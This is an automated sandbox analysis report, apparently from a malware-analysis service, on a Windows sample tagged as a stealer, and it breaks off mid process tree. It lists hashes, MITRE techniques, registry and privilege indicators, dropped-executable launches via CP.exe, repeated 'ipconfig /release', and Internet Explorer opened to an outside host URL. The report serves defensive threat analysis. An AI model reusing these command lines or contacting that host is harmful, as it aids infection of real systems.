0fa8e18881e2828fa9c6adfc0fab9722acce6f48f58b94e5d411c34b7be1acf2

Analysis

max time kernel
150s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 11:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample261003-nrfqaaxdnc
SHA256 0fa8e18881e2828fa9c6adfc0fab9722acce6f48f58b94e5d411c34b7be1acf2
MD5 5fb0fc043e67864933b37ab50900fd2a
SHA1 304079fdc54818abacf33430d01c7a2e4db267e5
SHA512 7c1bf87a2dc06d867a9cfb3237edf2895bc1ed581ff0cc3d25fa53ca5be486353b6d41381456e2541fa89bace7197311f02fc9d37642be6a4adeabc9965ef572
SSDEEP 3072:wGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:XXY4LK+a3lLNngoqRttA7
TLSH
T1D234490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795A312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1984	CP.exe
212	kicausnhcx.exe
4708	CP.exe
2992	CP.exe
3360	i_kicausnhcx.exe
988	hcausmkecx.sys
3068	CP.exe
3256	pnhfzxrpkh.exe
3656	CP.exe
3388	CP.exe
4380	i_pnhfzxrpkh.exe
4948	pjhczusmke.sys
2096	CP.exe
400	ecwuomhezx.exe
4676	CP.exe
704	CP.exe
1448	i_ecwuomhezx.exe
816	hbztrmjecw.sys
4872	CP.exe
1804	wuomgeywro.exe
3368	CP.exe
4728	CP.exe
2000	i_wuomgeywro.exe
520	wtomgeywqo.sys
4240	CP.exe
3780	oigbytrljd.exe
1368	CP.exe
368	CP.exe
4592	i_oigbytrljd.exe
2296	trljdbwtol.sys
2920	CP.exe
1096	igbytqlgdb.exe
1332	CP.exe
2500	CP.exe
4616	i_igbytqlgdb.exe
5088	lidbvtnlgd.sys
4780	CP.exe
3048	vqnigaysqk.exe
2828	CP.exe
1896	CP.exe
4204	i_vqnigaysqk.exe
2144	gaysqkidav.sys
3500	CP.exe
3668	vsnlfdxvqn.exe
684	CP.exe
116	CP.exe
1212	i_vsnlfdxvqn.exe
3352	usnkfdxvpn.sys
1384	CP.exe
2380	nhfzxspkic.exe
5076	CP.exe
376	CP.exe
4692	i_nhfzxspkic.exe
3748	pkhczusmke.sys
1392	CP.exe
4100	ecxrpkhczu.exe
4912	CP.exe
1448	CP.exe
4232	i_ecxrpkhczu.exe
2076	rpkhcausmk.sys
4244	CP.exe
3448	cwuomhezxr.exe
1260	CP.exe
1952	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausmkfcxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomhezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicausnhcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecxrpkhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecxrpkhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausmkfcxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomhezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbytqlgdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbytqlgdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicausnhcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwuomhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnigaysqk.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3224	ipconfig.exe
2324	ipconfig.exe
1676	ipconfig.exe
3316	ipconfig.exe
2748	ipconfig.exe
3048	ipconfig.exe
3708	ipconfig.exe
4928	ipconfig.exe
5052	ipconfig.exe
2676	ipconfig.exe
1008	ipconfig.exe
2720	ipconfig.exe
4720	ipconfig.exe
1800	ipconfig.exe
1896	ipconfig.exe
2040	ipconfig.exe
4528	ipconfig.exe
4936	ipconfig.exe
2336	ipconfig.exe
1448	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281963"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2865478012"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20b0fd0c3453dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497792433"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca000000000200000000001066000000010000200000002c3a1e7fda1e8b24421a5bc5280c232bf68c0264a56da38ebc149477209c5fc7000000000e800000000200002000000074d52ccdff488fac16421aea4347b0fd8bc869c245eddc6826f528b4dc801d2c200000007825a445459713806afd781f08506d2a5265e3488fb23e0e92355e8ac544837f40000000452891b166d1b0c03779dca71d854e816e111aef569f01f2fe9b949f42928705b8991bd8d2027adf8fdd5fa50897cea833396dee2315327cce1aa78ec53473e4	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca0000000002000000000010660000000100002000000060dbba9aaba8f3b3c04639a8e10a982f0deab6580c36b3af088d33b96e153e6b000000000e8000000002000020000000bb85ffe80f4bb83cf9c436de87d63ab2f554ce63f49a5fc341e17211e74fb4942000000076a87dc74308e987f2c0c9d3cc4553a56ff2b85a0cf3a2cf2a87e4d34240995e400000001dbb6663822e0aa8ba7e843e130ded46aae10a3a80e96f04759154e91a3f2a6cf9931cf93b8d33ea5fce73dfc40cc2a429d5d62ceaf14ce9afb2fc7edc631cc5	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D5E93C3D-BF1E-11F1-8F8C-66DCEFAAD7CC} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2859696366"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30f5f80c3453dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281963"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	i_kicausnhcx.exe
Token: SeDebugPrivilege	4380	i_pnhfzxrpkh.exe
Token: SeDebugPrivilege	1448	i_ecwuomhezx.exe
Token: SeDebugPrivilege	2000	i_wuomgeywro.exe
Token: SeDebugPrivilege	4592	i_oigbytrljd.exe
Token: SeDebugPrivilege	4616	i_igbytqlgdb.exe
Token: SeDebugPrivilege	4204	i_vqnigaysqk.exe
Token: SeDebugPrivilege	1212	i_vsnlfdxvqn.exe
Token: SeDebugPrivilege	4692	i_nhfzxspkic.exe
Token: SeDebugPrivilege	4232	i_ecxrpkhczu.exe
Token: SeDebugPrivilege	3340	i_cwuomhezxr.exe
Token: SeDebugPrivilege	992	i_cwuomhezwr.exe
Token: SeDebugPrivilege	2424	i_wtomgeywro.exe
Token: SeDebugPrivilege	460	i_qoigbytqlj.exe
Token: SeDebugPrivilege	3188	i_igaysqlida.exe
Token: SeDebugPrivilege	3360	i_nigaysqkid.exe
Token: SeDebugPrivilege	2596	i_faxsqkicau.exe
Token: SeDebugPrivilege	4800	i_ausmkfcxvp.exe
Token: SeDebugPrivilege	4324	i_zxjhczurmk.exe
Token: SeDebugPrivilege	380	i_rmjecwuomg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
924	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
924	iexplore.exe
924	iexplore.exe
4320	IEXPLORE.EXE
4320	IEXPLORE.EXE
4320	IEXPLORE.EXE
4320	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 924	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 924 wrote to memory of 4320	924	iexplore.exe	86
PID 2516 wrote to memory of 1984	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 212 wrote to memory of 4708	212	kicausnhcx.exe	93
PID 2516 wrote to memory of 2992	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	100
PID 2516 wrote to memory of 3068	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 3256 wrote to memory of 3656	3256	pnhfzxrpkh.exe	109
PID 2516 wrote to memory of 3388	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	112
PID 2516 wrote to memory of 2096	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 400 wrote to memory of 4676	400	ecwuomhezx.exe	118
PID 2516 wrote to memory of 704	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 2516 wrote to memory of 4872	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 1804 wrote to memory of 3368	1804	wuomgeywro.exe	127
PID 2516 wrote to memory of 4728	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 2516 wrote to memory of 4240	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	136
PID 3780 wrote to memory of 1368	3780	oigbytrljd.exe	138
PID 2516 wrote to memory of 368	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 2516 wrote to memory of 2920	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 1096 wrote to memory of 1332	1096	igbytqlgdb.exe	153
PID 2516 wrote to memory of 2500	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 2516 wrote to memory of 4780	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 3048 wrote to memory of 2828	3048	vqnigaysqk.exe	162
PID 2516 wrote to memory of 1896	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 2516 wrote to memory of 3500	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 3668 wrote to memory of 684	3668	vsnlfdxvqn.exe	171
PID 2516 wrote to memory of 116	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 2516 wrote to memory of 1384	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	178
PID 2380 wrote to memory of 5076	2380	nhfzxspkic.exe	180
PID 2516 wrote to memory of 376	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 2516 wrote to memory of 1392	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 4100 wrote to memory of 4912	4100	ecxrpkhczu.exe	189
PID 2516 wrote to memory of 1448	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 2516 wrote to memory of 4244	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	198
PID 3448 wrote to memory of 1260	3448	cwuomhezxr.exe	200
PID 2516 wrote to memory of 1952	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	203
PID 2516 wrote to memory of 4508	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	207
PID 2336 wrote to memory of 3200	2336	cwuomhezwr.exe	209
PID 2516 wrote to memory of 4552	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	212
PID 2516 wrote to memory of 692	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	216
PID 4868 wrote to memory of 4080	4868	wtomgeywro.exe	218
PID 2516 wrote to memory of 2448	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	221
PID 2516 wrote to memory of 2304	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	225
PID 4752 wrote to memory of 4204	4752	qoigbytqlj.exe	227
PID 2516 wrote to memory of 3316	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	230
PID 2516 wrote to memory of 1656	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	234
PID 1832 wrote to memory of 2204	1832	igaysqlida.exe	236
PID 2516 wrote to memory of 4140	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	240
PID 2516 wrote to memory of 1580	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	244
PID 1768 wrote to memory of 4188	1768	nigaysqkid.exe	246
PID 2516 wrote to memory of 1168	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	249
PID 2516 wrote to memory of 2212	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	253
PID 3660 wrote to memory of 2384	3660	faxsqkicau.exe	255
PID 2516 wrote to memory of 2872	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	258
PID 2516 wrote to memory of 1092	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	262
PID 3844 wrote to memory of 3120	3844	ausmkfcxvp.exe	264
PID 2516 wrote to memory of 4216	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	267
PID 2516 wrote to memory of 1008	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	271
PID 3868 wrote to memory of 4860	3868	zxjhczurmk.exe	273
PID 2516 wrote to memory of 1152	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	276
PID 2516 wrote to memory of 3692	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	280
PID 416 wrote to memory of 2636	416	rmjecwuomg.exe	282
PID 2516 wrote to memory of 2036	2516	2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe	285

C:\Users\Admin\AppData\Local\Temp\2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-02_5fb0fc043e67864933b37ab50900fd2a_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:924 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicausnhcx.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1984
- - C:\Temp\kicausnhcx.exe
    C:\Temp\kicausnhcx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4708
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3316
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicausnhcx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2992
- - C:\Temp\i_kicausnhcx.exe
    C:\Temp\i_kicausnhcx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3360
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfzxrpkh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3068
- - C:\Temp\pnhfzxrpkh.exe
    C:\Temp\pnhfzxrpkh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3256
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3656
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfzxrpkh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3388
- - C:\Temp\i_pnhfzxrpkh.exe
    C:\Temp\i_pnhfzxrpkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4380
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwuomhezx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2096
- - C:\Temp\ecwuomhezx.exe
    C:\Temp\ecwuomhezx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4676
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3048
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwuomhezx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:704
- - C:\Temp\i_ecwuomhezx.exe
    C:\Temp\i_ecwuomhezx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- C:\temp\CP.exe
